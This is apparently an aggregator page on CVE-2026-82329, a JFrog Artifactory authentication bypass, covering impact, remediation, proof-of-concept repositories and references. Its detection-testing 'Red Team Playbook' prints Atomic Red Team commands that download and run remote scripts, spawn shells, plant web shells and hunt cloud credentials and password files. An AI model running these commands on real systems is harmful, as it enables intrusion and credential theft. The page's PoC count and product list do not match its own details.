CVE-2026-82329
Overview
JFrog Artifactory ships a default configuration in which the authentication layer accepts material that should never be trusted from the network. Public analysis of the patch describes a phantom join key: an attacker-supplied value that the server accepts when validating a URL parameter, allowing a service admin token to be forged rather than issued. The weakness is in the identity verification path itself, not in any single API handler.
Vulnerability Description
JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.
Impact
Because the forged token carries administrative authority, an unauthenticated attacker with network access to the instance obtains full control of the artifact repository, with no credentials and no user interaction required. In a build pipeline that means reading every private artifact, publishing poisoned packages that downstream builds pull automatically, and harvesting the deployment credentials that CI systems store in Artifactory. Four public proof-of-concept repositories exist, including a reproducible Docker lab, and CISA lists the flaw in the Known Exploited Vulnerabilities catalog.
Solution
Upgrade to a fixed Artifactory self-managed release as listed in the JFrog security advisories at docs.jfrog.com; the CISA KEV remediation deadline was 2026-09-05. Treat any exposed instance as compromised until proven otherwise: rotate join keys and admin tokens, review the audit log for administrative sessions that did not originate from known operators, and verify artifact checksums against a known-good source before trusting downstream builds.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (6)
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Disclaimer
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By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
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GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
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dinosn/cve-2026-82329-jfrog-artifactory
CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + pa...
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dinosn | 9 | 3 | 2026-09-01 | View |
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ynsmroztas/CVE-2026-82329-JFrog-Artifactory-Auth-Bypass
CVE-2026-82329 — JFrog Artifactory (self-hosted) Auth Bypass
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ynsmroztas | 4 | 0 | 2026-09-02 | View |
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realalexandergeorgiev/artifactory-CVE-2026-82329-poc.py
CVE-2026-82329 — JFrog Artifactory unauthenticated authentication bypass ("phantom join key" -> forged service admin tok...
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realalexandergeorgiev | 1 | 0 | 2026-09-02 | View |
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0xCyp1337/CVE-2026-82329
CVE‑2026‑82329 is a critical authentication bypass in JFrog Artifactory (CVSS 9.8) allowing unauthenticated attackers to...
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0xCyp1337 | 0 | 0 | 2026-09-03 | View |
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HORKimhab/CVE-2026-82329
CVE-2026-82329 - Draft or TODO
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HORKimhab | 0 | 0 | 2026-09-01 | View |
Threat Feed
11 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
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Proof-of-concept code is publicly available for this vulnerability
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Active exploitation confirmed — vendor: JFrog, product: Artifactory
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (4)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2026-82329 |
| docs.jfrog.com |
GitHub CVE
vendor-advisory
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https://docs.jfrog.com/releases/docs/jfrog-security-advisories |
| docs.jfrog.com |
GitHub CVE
vendor-advisory
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https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
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https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-82329 |